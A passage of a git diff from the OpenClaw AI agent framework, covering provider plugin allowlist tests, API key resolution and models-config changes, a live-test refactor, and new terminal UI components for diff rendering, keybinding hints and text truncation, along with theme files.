createProviderManifestRecord(pluginId: string): PluginManifestRecord { - return { - id: pluginId, - channels: [], - providers: [pluginId], - cliBackends: [], - skills: [], - hooks: [], - origin: "bundled", - rootDir: `/virtual/${pluginId}`, - source: `/virtual/${pluginId}/index.ts`, - manifestPath: `/virtual/${pluginId}/openclaw.plugin.json`, - }; -} - -function createProviderRegistryRecord(pluginId: string): PluginRegistrySnapshot["plugins"][number] { - return { - pluginId, - manifestPath: `/virtual/${pluginId}/openclaw.plugin.json`, - manifestHash: `${pluginId}-manifest-hash`, - rootDir: `/virtual/${pluginId}`, - origin: "bundled", - enabled: true, - enabledByDefault: true, - startup: { - sidecar: false, - memory: false, - deferConfiguredChannelFullLoadUntilAfterListen: false, - agentHarnesses: [], - }, - compat: [], - }; -} - -const providerRegistry: PluginRegistrySnapshot = { - version: 1, - hostContractVersion: "2026.4.25", - compatRegistryVersion: "compat-v1", - migrationVersion: 1, - policyHash: "policy-v1", - generatedAtMs: 1777118400000, - installRecords: {}, - plugins: PROVIDER_PLUGIN_IDS.map(createProviderRegistryRecord), - diagnostics: [], -}; - -const providerManifestRegistry: PluginManifestRegistry = { - plugins: PROVIDER_PLUGIN_IDS.map(createProviderManifestRecord), - diagnostics: [], -}; - -describe("implicit provider plugin allowlist compatibility", () => { - it("keeps bundled implicit providers discoverable in explicit compat mode", () => { - const config = withBundledPluginEnablementCompat({ - config: withBundledPluginAllowlistCompat({ - config: { - plugins: { - allow: ["openrouter"], - bundledDiscovery: "compat", - }, - }, - pluginIds: ["kilocode", "moonshot"], - }), - pluginIds: ["kilocode", "moonshot"], - }); - - expect( - resolveEnabledProviderPluginIds({ - config, - registry: providerRegistry, - manifestRegistry: providerManifestRegistry, - onlyPluginIds: PROVIDER_PLUGIN_IDS, - }), - ).toEqual(["kilocode", "moonshot", "openrouter"]); - }); - - it("respects allowlist for bundled plugins by default", () => { - const config = withBundledPluginEnablementCompat({ - config: withBundledPluginAllowlistCompat({ - config: { - plugins: { - allow: ["openrouter"], - }, - }, - pluginIds: ["kilocode", "moonshot"], - }), - pluginIds: ["kilocode", "moonshot"], - }); - - expect( - resolveEnabledProviderPluginIds({ - config, - registry: providerRegistry, - manifestRegistry: providerManifestRegistry, - onlyPluginIds: PROVIDER_PLUGIN_IDS, - }), - ).toEqual(["openrouter"]); - }); - - it("respects allowlist for bundled plugins when bundledDiscovery is allowlist", () => { - const config = withBundledPluginEnablementCompat({ - config: withBundledPluginAllowlistCompat({ - config: { - plugins: { - allow: ["openrouter"], - bundledDiscovery: "allowlist", - }, - }, - pluginIds: ["kilocode", "moonshot"], - }), - pluginIds: ["kilocode", "moonshot"], - }); - - expect( - resolveEnabledProviderPluginIds({ - config, - registry: providerRegistry, - manifestRegistry: providerManifestRegistry, - onlyPluginIds: PROVIDER_PLUGIN_IDS, - }), - ).toEqual(["openrouter"]); - }); - - it("does not re-enable plugins when allowlist mode rejects every compat plugin", () => { - const config = withBundledPluginEnablementCompat({ - config: { - plugins: { - enabled: false, - allow: ["openrouter"], - bundledDiscovery: "allowlist", - }, - }, - pluginIds: ["kilocode", "moonshot"], - }); - - expect(config).toEqual({ - plugins: { - enabled: false, - allow: ["openrouter"], - bundledDiscovery: "allowlist", - }, - }); - }); - - it("re-enables globally disabled plugins when allowlist mode accepts a plugin alias", () => { - const config = withBundledPluginEnablementCompat({ - config: { - plugins: { - enabled: false, - allow: [" Google-Gemini-Cli "], - bundledDiscovery: "allowlist", - }, - }, - pluginIds: ["google"], - }); - - expect(config).toEqual({ - plugins: { - enabled: true, - allow: [" Google-Gemini-Cli "], - bundledDiscovery: "allowlist", - entries: { - google: { enabled: true }, - }, - }, - }); - }); - - it("still honors explicit plugin denies over compat allowlist injection", () => { - const config = withBundledPluginEnablementCompat({ - config: withBundledPluginAllowlistCompat({ - config: { - plugins: { - allow: ["openrouter"], - bundledDiscovery: "compat", - deny: ["kilocode"], - }, - }, - pluginIds: ["kilocode", "moonshot"], - }), - pluginIds: ["kilocode", "moonshot"], - }); - - expect( - resolveEnabledProviderPluginIds({ - config, - registry: providerRegistry, - manifestRegistry: providerManifestRegistry, - onlyPluginIds: PROVIDER_PLUGIN_IDS, - }), - ).toEqual(["moonshot", "openrouter"]); - }); -}); diff --git a/src/agents/models-config.providers.secret-helpers.ts b/src/agents/models-config.providers.secret-helpers.ts index a419bab9a0c..3beb405cb6d 100644 --- a/src/agents/models-config.providers.secret-helpers.ts +++ b/src/agents/models-config.providers.secret-helpers.ts @@ -287,13 +287,12 @@ export function resolveMissingProviderApiKey(params: { const authMode = params.provider.auth; if (params.providerApiKeyResolver && (!authMode || authMode === "aws-sdk")) { const resolvedApiKey = params.providerApiKeyResolver(params.env); - if (!resolvedApiKey) { - return params.provider; + if (resolvedApiKey) { + return { + ...params.provider, + apiKey: resolvedApiKey, + }; } - return { - ...params.provider, - apiKey: resolvedApiKey, - }; } if (authMode === "aws-sdk") { const awsEnvVar = resolveAwsSdkApiKeyVarName(params.env); diff --git a/src/agents/models-config.skips-writing-models-json-no-env-token.test.ts b/src/agents/models-config.skips-writing-models-json-no-env-token.test.ts index 4c6058c9f20..5b6d956fc78 100644 --- a/src/agents/models-config.skips-writing-models-json-no-env-token.test.ts +++ b/src/agents/models-config.skips-writing-models-json-no-env-token.test.ts @@ -153,7 +153,6 @@ describe("models-config", () => { const agentDir = path.join(home, "agent-empty"); // ensureAuthProfileStore merges the main auth store into non-main dirs; point main at our temp dir. process.env.OPENCLAW_AGENT_DIR = agentDir; - process.env.PI_CODING_AGENT_DIR = agentDir; const result = await ensureOpenClawModelsJson( { diff --git a/src/agents/models-config.ts b/src/agents/models-config.ts index 45a4bdd6a2f..3cf4d68f635 100644 --- a/src/agents/models-config.ts +++ b/src/agents/models-config.ts @@ -172,12 +172,14 @@ export async function ensureOpenClawModelsJson( (agentDirOverride?.trim() ? undefined : resolveAgentWorkspaceDir(cfg, resolveDefaultAgentId(cfg))); + const providerScopedDiscovery = Boolean(options.providerDiscoveryProviderIds?.length); const pluginMetadataSnapshot = options.pluginMetadataSnapshot ?? resolvePluginMetadataSnapshot({ config: cfg, env: createConfigRuntimeEnv(cfg), ...(workspaceDir ? { workspaceDir } : {}), + ...(providerScopedDiscovery ? { preferPersisted: false } : {}), }); const agentDir = agentDirOverride?.trim() ? agentDirOverride.trim() : resolveDefaultAgentDir(cfg); const targetPath = path.join(agentDir, "models.json"); diff --git a/src/agents/models-config.write-serialization.test.ts b/src/agents/models-config.write-serialization.test.ts index 70cd8158268..e37fb017735 100644 --- a/src/agents/models-config.write-serialization.test.ts +++ b/src/agents/models-config.write-serialization.test.ts @@ -176,6 +176,23 @@ describe("models-config write serialization", () => { }); }); + it("does not reuse persisted plugin metadata for provider-scoped discovery", async () => { + await withModelsTempHome(async (home) => { + const workspaceDir = path.join(home, "agent-workspace"); + const snapshot = createPluginMetadataSnapshot(workspaceDir); + setCurrentPluginMetadataSnapshot(snapshot, { config: {} }); + const agentDir = path.join(home, "agent-non-default"); + + await ensureOpenClawModelsJson({}, agentDir, { + workspaceDir, + providerDiscoveryProviderIds: ["google"], + }); + + const params = planParamsAt(0); + expect(params.pluginMetadataSnapshot).not.toBe(snapshot); + }); + }); + it("writes implicit models.json into the configured default agent dir", async () => { await withModelsTempHome(async (home) => { const cfg = { diff --git a/src/agents/models.profiles.live.test.ts b/src/agents/models.profiles.live.test.ts index dc508cbecfc..c31652f8edd 100644 --- a/src/agents/models.profiles.live.test.ts +++ b/src/agents/models.profiles.live.test.ts @@ -1,25 +1,23 @@ import { writeSync } from "node:fs"; -import { - type Api, - completeSimple, - getModels, - getProviders, - type KnownProvider, - type Model, -} from "@earendil-works/pi-ai"; +import { type Api, completeSimple, type Model } from "openclaw/plugin-sdk/llm"; import { Type } from "typebox"; import { describe, expect, it } from "vitest"; import { getRuntimeConfig } from "../config/config.js"; import { parseLiveCsvFilter } from "../media-generation/live-test-helpers.js"; import { runTasksWithConcurrency } from "../utils/run-with-concurrency.js"; +import { + discoverAuthStorage, + discoverModels, + normalizeDiscoveredAgentModel, +} from "./agent-model-discovery.js"; import { resolveDefaultAgentDir } from "./agent-scope.js"; import { externalCliDiscoveryForProviders } from "./auth-profiles/external-cli-discovery.js"; +import { isRateLimitErrorMessage } from "./embedded-agent-helpers/errors.js"; import { collectAnthropicApiKeys } from "./live-auth-keys.js"; import { isModelNotFoundErrorMessage } from "./live-model-errors.js"; import { isHighSignalLiveModelRef, isPrioritizedHighSignalLiveModelRef, - listPrioritizedHighSignalLiveModelRefs, resolveHighSignalLiveModelLimit, selectHighSignalLiveItems, shouldExcludeProviderFromDefaultHighSignalLiveSweep, @@ -55,12 +53,6 @@ import { import { getApiKeyForModel, requireApiKey } from "./model-auth.js"; import { shouldSuppressBuiltInModel } from "./model-suppression.js"; import { ensureOpenClawModelsJson } from "./models-config.js"; -import { isRateLimitErrorMessage } from "./pi-embedded-helpers/errors.js"; -import { - discoverAuthStorage, - discoverModels, - normalizeDiscoveredPiModel, -} from "./pi-model-discovery.js"; const LIVE = isLiveTestEnabled(); const DIRECT_ENABLED = Boolean(process.env.OPENCLAW_LIVE_MODELS?.trim()); @@ -102,45 +94,6 @@ function logProgress(message: string): void { writeSync(2, `[live] ${message}\n`); } -function resolveKnownProvider(provider: string): KnownProvider | undefined { - const normalized = provider.trim(); - return getProviders().find((knownProvider) => knownProvider === normalized); -} - -function loadPrioritizedHighSignalModels(): Model[] { - const idsByProvider = new Map>(); - for (const ref of listPrioritizedHighSignalLiveModelRefs()) { - const bucket = idsByProvider.get(ref.provider); - if (bucket) { - bucket.add(ref.id); - } else { - idsByProvider.set(ref.provider, new Set([ref.id])); - } - } - - const models: Model[] = []; - const seen = new Set(); - for (const [provider, ids] of idsByProvider) { - const knownProvider = resolveKnownProvider(provider); - if (!knownProvider) { - continue; - } - for (const model of getModels(knownProvider)) { - const id = model.id.toLowerCase(); - if (!ids.has(id)) { - continue; - } - const key = `${provider}/${id}`; - if (seen.has(key)) { - continue; - } - seen.add(key); - models.push(model); - } - } - return models; -} - function formatElapsedSeconds(ms: number): string { return `${Math.max(1, Math.round(ms / 1_000))}s`; } @@ -387,7 +340,7 @@ describe("resolveLiveModelsJsonTimeoutMs", () => { }); function resolveTestReasoning( - model: Model, + model: Model, ): "minimal" | "low" | "medium" | "high" | "xhigh" | undefined { if (!model.reasoning) { return undefined; @@ -411,7 +364,7 @@ function resolveTestReasoning( return "low"; } -function resolveLiveSystemPrompt(model: Model): string | undefined { +function resolveLiveSystemPrompt(model: Model): string | undefined { if (model.provider === "openai-codex") { return "You are a concise assistant. Follow the user's instruction exactly."; } @@ -423,7 +376,7 @@ describe("resolveLiveSystemPrompt", () => { expect( resolveLiveSystemPrompt({ provider: "openai-codex", - } as Model), + } as Model), ).toContain("Follow the user's instruction exactly."); }); @@ -431,7 +384,7 @@ describe("resolveLiveSystemPrompt", () => { expect( resolveLiveSystemPrompt({ provider: "openai", - } as Model), + } as Model), ).toBeUndefined(); }); @@ -513,7 +466,7 @@ describe("requireToolChoicePayload", () => { }); async function completeOkWithRetry(params: { - model: Model; + model: Model; apiKey: string; timeoutMs: number; progressLabel: string; @@ -555,7 +508,7 @@ async function completeOkWithRetry(params: { return await runOnce(256); } -function isDeepSeekV4Model(model: Pick, "id" | "provider">): boolean { +function isDeepSeekV4Model(model: Pick): boolean { return ( model.provider === "deepseek" && (model.id === "deepseek-v4-flash" || model.id === "deepseek-v4-pro") @@ -563,7 +516,7 @@ function isDeepSeekV4Model(model: Pick, "id" | "provider">): boolean } async function runDeepSeekV4ReplayRegression(params: { - model: Model; + model: Model; apiKey: string; timeoutMs: number; progressLabel: string; @@ -652,7 +605,7 @@ async function runDeepSeekV4ReplayRegression(params: { } async function runExtraTurnProbes(params: { - model: Model; + model: Model; apiKey: string; timeoutMs: number; progressLabel: string; @@ -782,8 +735,7 @@ describeLive("live models (profile keys)", () => { const allowNotFoundSkip = useModern; const models = await (async () => { if (useDefaultPriorityOnly) { - logProgress("[live-models] loading prioritized model refs"); - return loadPrioritizedHighSignalModels(); + logProgress("[live-models] loading configured prioritized model refs"); } logProgress("[live-models] loading auth storage"); const authStorage = await withLiveStageTimeout( @@ -825,7 +777,7 @@ describeLive("live models (profile keys)", () => { const failures: Array<{ model: string; error: string }> = []; const skipped: Array<{ model: string; reason: string }> = []; const candidates: Array<{ - model: Model; + model: Model; apiKeyInfo: Awaited>; }> = []; @@ -882,7 +834,7 @@ describeLive("live models (profile keys)", () => { continue; } candidates.push({ - model: normalizeDiscoveredPiModel(model, agentDir), + model: normalizeDiscoveredAgentModel(model, agentDir), apiKeyInfo, }); } catch (err) { diff --git a/src/agents/modes/interactive/components/diff.ts b/src/agents/modes/interactive/components/diff.ts new file mode 100644 index 00000000000..c1e5e8e5cbf --- /dev/null +++ b/src/agents/modes/interactive/components/diff.ts @@ -0,0 +1,158 @@ +import * as Diff from "diff"; +import { theme } from "../theme/theme.js"; + +/** + * Parse diff line to extract prefix, line number, and content. + * Format: "+123 content" or "-123 content" or " 123 content" or " ..." + */ +function parseDiffLine(line: string): { prefix: string; lineNum: string; content: string } | null { + const match = line.match(/^([+-\s])(\s*\d*)\s(.*)$/); + if (!match) { + return null; + } + return { prefix: match[1], lineNum: match[2], content: match[3] }; +} + +/** + * Replace tabs with spaces for consistent rendering. + */ +function replaceTabs(text: string): string { + return text.replace(/\t/g, " "); +} + +/** + * Compute word-level diff and render with inverse on changed parts. + * Uses diffWords which groups whitespace with adjacent words for cleaner highlighting. + * Strips leading whitespace from inverse to avoid highlighting indentation. + */ +function renderIntraLineDiff( + oldContent: string, + newContent: string, +): { removedLine: string; addedLine: string } { + const wordDiff = Diff.diffWords(oldContent, newContent); + + let removedLine = ""; + let addedLine = ""; + let isFirstRemoved = true; + let isFirstAdded = true; + + for (const part of wordDiff) { + if (part.removed) { + let value = part.value; + // Strip leading whitespace from the first removed part + if (isFirstRemoved) { + const leadingWs = value.match(/^(\s*)/)?.[1] || ""; + value = value.slice(leadingWs.length); + removedLine += leadingWs; + isFirstRemoved = false; + } + if (value) { + removedLine += theme.inverse(value); + } + } else if (part.added) { + let value = part.value; + // Strip leading whitespace from the first added part + if (isFirstAdded) { + const leadingWs = value.match(/^(\s*)/)?.[1] || ""; + value = value.slice(leadingWs.length); + addedLine += leadingWs; + isFirstAdded = false; + } + if (value) { + addedLine += theme.inverse(value); + } + } else { + removedLine += part.value; + addedLine += part.value; + } + } + + return { removedLine, addedLine }; +} + +export interface RenderDiffOptions { + /** File path (unused, kept for API compatibility) */ + filePath?: string; +} + +/** + * Render a diff string with colored lines and intra-line change highlighting. + * - Context lines: dim/gray + * - Removed lines: red, with inverse on changed tokens + * - Added lines: green, with inverse on changed tokens + */ +export function renderDiff(diffText: string, _options: RenderDiffOptions = {}): string { + const lines = diffText.split("\n"); + const result: string[] = []; + + let i = 0; + while (i < lines.length) { + const line = lines[i]; + const parsed = parseDiffLine(line); + + if (!parsed) { + result.push(theme.fg("toolDiffContext", line)); + i++; + continue; + } + + if (parsed.prefix === "-") { + // Collect consecutive removed lines + const removedLines: { lineNum: string; content: string }[] = []; + while (i < lines.length) { + const p = parseDiffLine(lines[i]); + if (!p || p.prefix !== "-") { + break; + } + removedLines.push({ lineNum: p.lineNum, content: p.content }); + i++; + } + + // Collect consecutive added lines + const addedLines: { lineNum: string; content: string }[] = []; + while (i < lines.length) { + const p = parseDiffLine(lines[i]); + if (!p || p.prefix !== "+") { + break; + } + addedLines.push({ lineNum: p.lineNum, content: p.content }); + i++; + } + + // Only do intra-line diffing when there's exactly one removed and one added line + // (indicating a single line modification). Otherwise, show lines as-is. + if (removedLines.length === 1 && addedLines.length === 1) { + const removed = removedLines[0]; + const added = addedLines[0]; + + const { removedLine, addedLine } = renderIntraLineDiff( + replaceTabs(removed.content), + replaceTabs(added.content), + ); + + result.push(theme.fg("toolDiffRemoved", `-${removed.lineNum} ${removedLine}`)); + result.push(theme.fg("toolDiffAdded", `+${added.lineNum} ${addedLine}`)); + } else { + // Show all removed lines first, then all added lines + for (const removed of removedLines) { + result.push( + theme.fg("toolDiffRemoved", `-${removed.lineNum} ${replaceTabs(removed.content)}`), + ); + } + for (const added of addedLines) { + result.push(theme.fg("toolDiffAdded", `+${added.lineNum} ${replaceTabs(added.content)}`)); + } + } + } else if (parsed.prefix === "+") { + // Standalone added line + result.push(theme.fg("toolDiffAdded", `+${parsed.lineNum} ${replaceTabs(parsed.content)}`)); + i++; + } else { + // Context line + result.push(theme.fg("toolDiffContext", ` ${parsed.lineNum} ${replaceTabs(parsed.content)}`)); + i++; + } + } + + return result.join("\n"); +} diff --git a/src/agents/modes/interactive/components/keybinding-hints.ts b/src/agents/modes/interactive/components/keybinding-hints.ts new file mode 100644 index 00000000000..eef1cc51cd1 --- /dev/null +++ b/src/agents/modes/interactive/components/keybinding-hints.ts @@ -0,0 +1,53 @@ +/** + * Utilities for formatting keybinding hints in the UI. + */ + +import { getKeybindings, type Keybinding, type KeyId } from "@earendil-works/pi-tui"; +import { theme } from "../theme/theme.js"; + +export interface KeyTextFormatOptions { + capitalize?: boolean; +} + +function formatKeyPart(part: string, options: KeyTextFormatOptions): string { + const displayPart = + process.platform === "darwin" && part.toLowerCase() === "alt" ? "option" : part; + return options.capitalize + ? displayPart.charAt(0).toUpperCase() + displayPart.slice(1) + : displayPart; +} + +export function formatKeyText(key: string, options: KeyTextFormatOptions = {}): string { + return key + .split("/") + .map((k) => + k + .split("+") + .map((part) => formatKeyPart(part, options)) + .join("+"), + ) + .join("/"); +} + +function formatKeys(keys: KeyId[], options: KeyTextFormatOptions = {}): string { + if (keys.length === 0) { + return ""; + } + return formatKeyText(keys.join("/"), options); +} + +export function keyText(keybinding: Keybinding): string { + return formatKeys(getKeybindings().getKeys(keybinding)); +} + +export function keyDisplayText(keybinding: Keybinding): string { + return formatKeys(getKeybindings().getKeys(keybinding), { capitalize: true }); +} + +export function keyHint(keybinding: Keybinding, description: string): string { + return theme.fg("dim", keyText(keybinding)) + theme.fg("muted", ` ${description}`); +} + +export function rawKeyHint(key: string, description: string): string { + return theme.fg("dim", formatKeyText(key)) + theme.fg("muted", ` ${description}`); +} diff --git a/src/agents/modes/interactive/components/visual-truncate.ts b/src/agents/modes/interactive/components/visual-truncate.ts new file mode 100644 index 00000000000..43a359a0cad --- /dev/null +++ b/src/agents/modes/interactive/components/visual-truncate.ts @@ -0,0 +1,50 @@ +/** + * Shared utility for truncating text to visual lines (accounting for line wrapping). + * Used by both tool-execution.ts and bash-execution.ts for consistent behavior. + */ + +import { Text } from "@earendil-works/pi-tui"; + +export interface VisualTruncateResult { + /** The visual lines to display */ + visualLines: string[]; + /** Number of visual lines that were skipped (hidden) */ + skippedCount: number; +} + +/** + * Truncate text to a maximum number of visual lines (from the end). + * This accounts for line wrapping based on terminal width. + * + * @param text - The text content (may contain newlines) + * @param maxVisualLines - Maximum number of visual lines to show + * @param width - Terminal/render width + * @param paddingX - Horizontal padding for Text component (default 0). + * Use 0 when result will be placed in a Box (Box adds its own padding). + * Use 1 when result will be placed in a plain Container. + * @returns The truncated visual lines and count of skipped lines + */ +export function truncateToVisualLines( + text: string, + maxVisualLines: number, + width: number, + paddingX: number = 0, +): VisualTruncateResult { + if (!text) { + return { visualLines: [], skippedCount: 0 }; + } + + // Create a temporary Text component to render and get visual lines + const tempText = new Text(text, paddingX, 0); + const allVisualLines = tempText.render(width); + + if (allVisualLines.length <= maxVisualLines) { + return { visualLines: allVisualLines, skippedCount: 0 }; + } + + // Take the last N visual lines + const truncatedLines = allVisualLines.slice(-maxVisualLines); + const skippedCount = allVisualLines.length - maxVisualLines; + + return { visualLines: truncatedLines, skippedCount }; +} diff --git a/src/agents/modes/interactive/theme/dark.json b/src/agents/modes/interactive/theme/dark.json new file mode 100644 index 00000000000..3d149113a3b --- /dev/null +++ b/src/agents/modes/interactive/theme/dark.json @@ -0,0 +1,86 @@ +{ + "$schema": "https://raw.githubusercontent.com/openclaw/openclaw/main/src/agents/modes/interactive/theme/theme-schema.json", + "name": "dark", + "vars": { + "cyan": "#00d7ff", + "blue": "#5f87ff", + "green": "#b5bd68", + "red": "#cc6666", + "yellow": "#ffff00", + "text": "#d4d4d4", + "gray": "#808080", + "dimGray": "#666666", + "darkGray": "#505050", + "accent": "#8abeb7", + "selectedBg": "#3a3a4a", + "userMsgBg": "#343541", + "toolPendingBg": "#282832", + "toolSuccessBg": "#283228", + "toolErrorBg": "#3c2828", + "customMsgBg": "#2d2838" + }, + "colors": { + "accent": "accent", + "border": "blue", + "borderAccent": "cyan", + "borderMuted": "darkGray", + "success": "green", + "error": "red", + "warning": "yellow", + "muted": "gray", + "dim": "dimGray", + "text": "text", + "thinkingText": "gray", + + "selectedBg": "selectedBg", + "userMessageBg": "userMsgBg", + "userMessageText": "text", + "customMessageBg": "customMsgBg", + "customMessageText": "text", + "customMessageLabel": "#9575cd", + "toolPendingBg": "toolPendingBg", + "toolSuccessBg": "toolSuccessBg", + "toolErrorBg": "toolErrorBg", + "toolTitle": "text", + "toolOutput": "gray", + + "mdHeading": "#f0c674", + "mdLink": "#81a2be", + "mdLinkUrl": "dimGray", + "mdCode": "accent", + "mdCodeBlock": "green", + "mdCodeBlockBorder": "gray", + "mdQuote": "gray", + "mdQuoteBorder": "gray", + "mdHr": "gray", + "mdListBullet": "accent", + + "toolDiffAdded": "green", + "toolDiffRemoved": "red", + "toolDiffContext": "gray", + + "syntaxComment": "#6A9955", + "syntaxKeyword": "#569CD6", + "syntaxFunction": "#DCDCAA", + "syntaxVariable": "#9CDCFE", + "syntaxString": "#CE9178", + "syntaxNumber": "#B5CEA8", + "syntaxType": "#4EC9B0", + "syntaxOperator": "#D4D4D4", + "syntaxPunctuation": "#D4D4D4", + + "thinkingOff": "darkGray", + "thinkingMinimal": "#6e6e6e", + "thinkingLow": "#5f87af", + "thinkingMedium": "#81a2be", + "thinkingHigh": "#b294bb", + "thinkingXhigh": "#d183e8", + + "bashMode": "green" + }, + "export": { + "pageBg": "#18181e", + "cardBg": "#1e1e24", + "infoBg": "#3c3728" + } +} diff --git a/src/agents/modes/interactive/theme/light.json b/src/agents/modes/interactive/theme/light.json new file mode 100644 index 00000000000..f1c537f394d --- /dev/null +++ b/src/agents/modes/interactive/theme/light.json @@ -0,0 +1,85 @@ +{ + "$schema": "https://raw.githubusercontent.com/openclaw/openclaw/main/src/agents/modes/interactive/theme/theme-schema.json", + "name": "light", + "vars": { + "teal": "#5a8080", + "blue": "#547da7", + "green": "#588458", + "red": "#aa5555", + "yellow": "#9a7326", + "text": "#1f2328", + "mediumGray": "#6c6c6c", + "dimGray": "#767676", + "lightGray": "#b0b0b0", + "selectedBg": "#d0d0e0", + "userMsgBg": "#e8e8e8", + "toolPendingBg": "#e8e8f0", + "toolSuccessBg": "#e8f0e8", + "toolErrorBg": "#f0e8e8", + "customMsgBg": "#ede7f6" + }, + "colors": { + "accent": "teal", + "border": "blue", + "borderAccent": "teal", + "borderMuted": "lightGray", + "success": "green", + "error": "red", + "warning": "yellow", + "muted": "mediumGray", + "dim": "dimGray", + "text": "text", + "thinkingText": "mediumGray", + + "selectedBg": "selectedBg", + "userMessageBg": "userMsgBg", + "userMessageText": "text", + "customMessageBg": "customMsgBg", + "customMessageText": "text", + "customMessageLabel": "#7e57c2", + "toolPendingBg": "toolPendingBg", + "toolSuccessBg": "toolSuccessBg", + "toolErrorBg": "toolErrorBg", + "toolTitle": "text", + "toolOutput": "mediumGray", + + "mdHeading": "yellow", + "mdLink": "blue", + "mdLinkUrl": "dimGray", + "mdCode": "teal", + "mdCodeBlock": "green", + "mdCodeBlockBorder": "mediumGray", + "mdQuote": "mediumGray", + "mdQuoteBorder": "mediumGray", + "mdHr": "mediumGray", + "mdListBullet": "green", + + "toolDiffAdded": "green", + "toolDiffRemoved": "red", + "toolDiffContext": "mediumGray", + + "syntaxComment": "#008000", + "syntaxKeyword": "#0000FF", + "syntaxFunction": "#795E26", + "syntaxVariable": "#001080", + "syntaxString": "#A31515", + "syntaxNumber": "#098658", + "syntaxType": "#267F99", + "syntaxOperator": "#000000", + "syntaxPunctuation": "#000000", + + "thinkingOff": "lightGray", + "thinkingMinimal": "#767676", + "thinkingLow": "blue", + "thinkingMedium": "teal", + "thinkingHigh": "#875f87", + "thinkingXhigh": "#8b008b", + + "bashMode": "green" + }, + "export": { + "pageBg": "#f8f8f8", + "cardBg": "#ffffff", + "infoBg": "#fffae6" + } +} diff --git a/src/agents/modes/interactive/theme/theme-schema.json b/src/agents/modes/interactive/theme/theme-schema.json new file mode 100644 index 00000000000..91bc51be7a4 --- /dev/null +++ b/src/agents/modes/interactive/theme/theme-schema.json @@ -0,0 +1,335 @@ +{ + "$schema": "http://json-schema.org/draft-07/schema#", + "title": "OpenClaw Agent Theme", + "description": "Theme schema for OpenClaw agent", + "type": "object", + "required": ["name", "colors"], + "properties": { + "$schema": { + "type": "string", + "description": "JSON schema reference" + }, + "name": { + "type": "string", + "description": "Theme name" + }, + "vars": { + "type": "object", + "description": "Reusable color variables", + "additionalProperties": { + "oneOf": [ + { + "type": "string", + "description": "Hex color (#RRGGBB), variable reference, or empty string for terminal default" + }, + { + "type": "integer", + "minimum": 0, + "maximum": 255, + "description": "256-color palette index (0-255)" + } + ] + } + }, + "colors": { + "type": "object", + "description": "Theme color definitions (all required)", + "required": [ + "accent", + "border", + "borderAccent", + "borderMuted", + "success", + "error", + "warning", + "muted", + "dim", + "text", + "thinkingText", + "selectedBg", + "userMessageBg", + "userMessageText", + "customMessageBg", + "customMessageText", + "customMessageLabel", + "toolPendingBg", + "toolSuccessBg", + "toolErrorBg", + "toolTitle", + "toolOutput", + "mdHeading", + "mdLink", + "mdLinkUrl", + "mdCode", + "mdCodeBlock", + "mdCodeBlockBorder", + "mdQuote", + "mdQuoteBorder", + "mdHr", + "mdListBullet", + "toolDiffAdded", + "toolDiffRemoved", + "toolDiffContext", + "syntaxComment", + "syntaxKeyword", + "syntaxFunction", + "syntaxVariable", + "syntaxString", + "syntaxNumber", + "syntaxType", + "syntaxOperator", + "syntaxPunctuation", + "thinkingOff", + "thinkingMinimal", + "thinkingLow", + "thinkingMedium", + "thinkingHigh", + "thinkingXhigh", + "bashMode" + ], + "properties": { + "accent": { + "$ref": "#/$defs/colorValue", + "description": "Primary accent color (logo, selected items, cursor)" + }, + "border": { + "$ref": "#/$defs/colorValue", + "description": "Normal borders" + }, + "borderAccent": { + "$ref": "#/$defs/colorValue", + "description": "Highlighted borders" + }, + "borderMuted": { + "$ref": "#/$defs/colorValue", + "description": "Subtle borders" + }, + "success": { + "$ref": "#/$defs/colorValue", + "description": "Success states" + }, + "error": { + "$ref": "#/$defs/colorValue", + "description": "Error states" + }, + "warning": { + "$ref": "#/$defs/colorValue", + "description": "Warning states" + }, + "muted": { + "$ref": "#/$defs/colorValue", + "description": "Secondary/dimmed text" + }, + "dim": { + "$ref": "#/$defs/colorValue", + "description": "Very dimmed text (more subtle than muted)" + }, + "text": { + "$ref": "#/$defs/colorValue", + "description": "Default text color (usually empty string)" + }, + "thinkingText": { + "$ref": "#/$defs/colorValue", + "description": "Thinking block text color" + }, + "selectedBg": { + "$ref": "#/$defs/colorValue", + "description": "Selected item background" + }, + "userMessageBg": { + "$ref": "#/$defs/colorValue", + "description": "User message background" + }, + "userMessageText": { + "$ref": "#/$defs/colorValue", + "description": "User message text color" + }, + "customMessageBg": { + "$ref": "#/$defs/colorValue", + "description": "Custom message background (hook-injected messages)" + }, + "customMessageText": { + "$ref": "#/$defs/colorValue", + "description": "Custom message text color" + }, + "customMessageLabel": { + "$ref": "#/$defs/colorValue", + "description": "Custom message type label color" + }, + "toolPendingBg": { + "$ref": "#/$defs/colorValue", + "description": "Tool execution box (pending state)" + }, + "toolSuccessBg": { + "$ref": "#/$defs/colorValue", + "description": "Tool execution box (success state)" + }, + "toolErrorBg": { + "$ref": "#/$defs/colorValue", + "description": "Tool execution box (error state)" + }, + "toolTitle": { + "$ref": "#/$defs/colorValue", + "description": "Tool execution box title color" + }, + "toolOutput": { + "$ref": "#/$defs/colorValue", + "description": "Tool execution box output text color" + }, + "mdHeading": { + "$ref": "#/$defs/colorValue", + "description": "Markdown heading text" + }, + "mdLink": { + "$ref": "#/$defs/colorValue", + "description": "Markdown link text" + }, + "mdLinkUrl": { + "$ref": "#/$defs/colorValue", + "description": "Markdown link URL" + }, + "mdCode": { + "$ref": "#/$defs/colorValue", + "description": "Markdown inline code" + }, + "mdCodeBlock": { + "$ref": "#/$defs/colorValue", + "description": "Markdown code block content" + }, + "mdCodeBlockBorder": { + "$ref": "#/$defs/colorValue", + "description": "Markdown code block fences" + }, + "mdQuote": { + "$ref": "#/$defs/colorValue", + "description": "Markdown blockquote text" + }, + "mdQuoteBorder": { + "$ref": "#/$defs/colorValue", + "description": "Markdown blockquote border" + }, + "mdHr": { + "$ref": "#/$defs/colorValue", + "description": "Markdown horizontal rule" + }, + "mdListBullet": { + "$ref": "#/$defs/colorValue", + "description": "Markdown list bullets/numbers" + }, + "toolDiffAdded": { + "$ref": "#/$defs/colorValue", + "description": "Added lines in tool diffs" + }, + "toolDiffRemoved": { + "$ref": "#/$defs/colorValue", + "description": "Removed lines in tool diffs" + }, + "toolDiffContext": { + "$ref": "#/$defs/colorValue", + "description": "Context lines in tool diffs" + }, + "syntaxComment": { + "$ref": "#/$defs/colorValue", + "description": "Syntax highlighting: comments" + }, + "syntaxKeyword": { + "$ref": "#/$defs/colorValue", + "description": "Syntax highlighting: keywords" + }, + "syntaxFunction": { + "$ref": "#/$defs/colorValue", + "description": "Syntax highlighting: function names" + }, + "syntaxVariable": { + "$ref": "#/$defs/colorValue", + "description": 